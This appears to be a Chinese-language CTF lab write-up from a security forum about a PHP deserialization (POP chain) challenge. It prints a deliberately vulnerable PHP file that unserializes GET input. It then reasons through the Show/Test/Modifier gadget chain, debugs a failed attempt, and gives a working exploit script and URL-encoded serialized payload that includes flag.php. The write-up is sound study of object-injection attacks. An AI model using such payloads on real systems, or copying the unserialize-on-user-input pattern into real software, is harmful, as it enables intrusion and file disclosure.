返回
2
0

LAB9

YES,2026-02-07 22:23
Plaintext
<?php //flag is in flag.php include("flag.php"); class Modifier {     private $var;     public function append($value) {         include($value);         echo $flag;     }     public function __invoke(){ # 尝试以调用函数的方式调用一个对象时被调用      $this->append($this->var);     } } class Show{     public $source;     public $str;     public function __toString(){ # 类的对象被当作字符串操作时调用         return $this->str->source;     }     public function __wakeup(){ # 反序列化后调用         echo $this->source;     } } class Test{     public $p;     public function __construct(){ # 对象创建时被调用            $this->p = array();     }     public function __get($key){ # 对不可访问属性或不存在属性进行访问时自动调用     $function $this->p;         return $function();     } } if(isset($_GET['pop'])){     unserialize($_GET['pop']); }

分析:POP链先找起始会被触发的方法例如__construct() __destruct(),可以看到Test类中:

Plaintext
public $p; public function __construct(){ # 对象创建时被调用        $this->p = array(); } public function __get($key){ # 对不可访问属性或不存在属性进行访问时自动调用 $function $this->p; return $function(); }

这里的__construct()只是对变量p进行赋值为空数组,而__get可以调用函数,看不太到可以利用的地方,我们再回头看Modifier类:

Plaintext
private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ # 尝试以调用函数的方式调用一个对象时被调用  $this->append($this->var); }

可以看到我们的最终目标是调用Modifier类中的append方法,使其输出flag,则可以利用__invoke()调用append(),我们开始构造调用链:

Plaintext
Modifier->__invoke() $this->append($this->var); ↓↓↓ Modifier->append($value) echo $flag;

再看Show类:

Plaintext
public $source; public $str; public function __toString(){ # 类的对象被当作字符串操作时调用 return $this->str->source; } public function __wakeup(){ # 反序列化后调用 echo $this->source; }

可以发现__toString()方法可以调用别的类的方法或者访问属性,而__wakeup()echo $this->source又可以触发__toString()方法,而__wakeup()又是反序列化之后就会调用的方法,因此我们可以将其作为pop链的起始点,赋值$this->source=new Show();触发__toString()方法,继续完善调用链:

Plaintext
Show->__wakeup() $this->source=new Show(); ↓↓↓ Show->__toString() $this->str->source; ↓↓↓ ? Modifier->__invoke() $this->append($this->var); ↓↓↓ Modifier->append($value) echo $flag;

接下来就是如何触发Modifier->__invoke()呢?
可以看到我们前面分析的Test类中的__get方法可以调用函数,而正好我们发现可以利用Show->__toString()方法中$this->str->source;去访问Test类中不存在的属性source,触发Test->__get($key),再利用$function()实例化一个Modifier并以调用函数的方式进行调用就能触发Modifier->__invoke(),于是就能构造出完整的POP链:

Plaintext
Show->__wakeup() $this->source=new Show(); ↓↓↓ Show->__toString() $this->str->source; ↓↓↓ Test->__get($key) return $function(); ↓↓↓ Modifier->__invoke() $this->append($this->var); ↓↓↓ Modifier->append($value) echo $flag;

完整流程:

Plaintext
unserialize() ↓ Show::__wakeup() ↓ echo $this->source Show::__toString() ↓ return $this->str->source Test::__get() ↓ return $function() Modifier::__invoke() ↓ include(flag.php)

exp:

Plaintext
<?php class Modifier { private $var='flag.php'; public function append($value) { include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } $Show = new Show(); $Test = new Test(); $Modifier = new Modifier(); $Show->source = new Show(); # Show->__wakeup() -> Show->__toString() $Show->str = $Test; # Show->__toString() -> Test->__get() $Test->p = $Modifier; # Test->__get() -> Modifier->__invoke() echo serialize($Show); # O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}

然而这里我们返回了报错,而且并没有成功包含:

Plaintext
Catchable fatal error: Method Show::__toString() must return a string value in /var/www/html/index.php on line 24

追踪原因:

Plaintext
$Show = new Show(); // 我们叫它【Show一号】 $Show->str = $Test; // 给【Show一号】装上了炸药引信($Test) $Show->source = new Show(); // 这里创建了一个崭新的【Show二号】,它是空的!
  1. 反序列化【Show一号】 -> 触发 __wakeup

  2. echo $this->source -> 也就是 echo【Show二号】

  3. 因为要输出【Show二号】,所以代码跳进了【Show二号】的 __toString 方法里。

  4. 关键时刻: 此时在 __toString 里,$this 指代的是 【Show二号】。 代码执行 $this->str,也就是找 【Show二号】身上的 str 属性。但是我们没有给【Show二号】赋值过任何属性,我们只给【Show一号】赋值了 $str

  5. 结局: $this->str 是 NULL。 代码变成了 NULL->source。 根本就没有碰到 $Test 对象! 既然没碰到 $Test,怎么可能触发 $Test 里面的 __get 呢? 链条在这里直接断了。因此报错的同时还没有实现include
    解决办法也很简单,就是改为:

Plaintext
$Show = new Show(); // 我们叫它【Show一号】 $Show->str = $Test; // 给【Show一号】装上了炸药引信($Test) $Show->source = $Show; // source 还是【Show一号】自己 # 当然就算是new一个新的$Show,也是可以的,但就要赋值$Show->source->str = $Test;

这样我们的POP链就能正常执行了,并且返回了flag。但是我们发现依然会报错是为什么呢?
这是因为我们的__toString方法需要返回字符串,但是我们的this>str>source=this->str->source = $this->str->source = $Test->source,这时并不会直接返回,而是继续进入下一个函数调用(类似递归),触发了$Test->__get(),等到我们的POP链最底部的include执行完毕之后,一步步return到__toString方法的时候才报错,因此不影响flag的输出。
真正的exp:

Plaintext
$Show = new Show(); $Test = new Test(); $Modifier = new Modifier(); # $Show->source = new Show(); # Show->__wakeup() -> Show->__toString() $Show->source = $Show; # Show->__wakeup() -> Show->__toString() $Show->str = $Test; # Show->__toString() -> Test->__get() $Test->p = $Modifier; # Test->__get() -> Modifier->__invoke() echo urlencode(serialize($Show)); # O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}} # O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Br%3A1%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A13%3A"%00Modifier%00var"%3Bs%3A8%3A"flag.php"%3B%7D%7D%7D

从错误中学习与成长

暂无回复。你的想法是什么?


bottom-logo1
bottom-logo2captionbottom-logo3
GeeSec
商务合作
bottom-logo4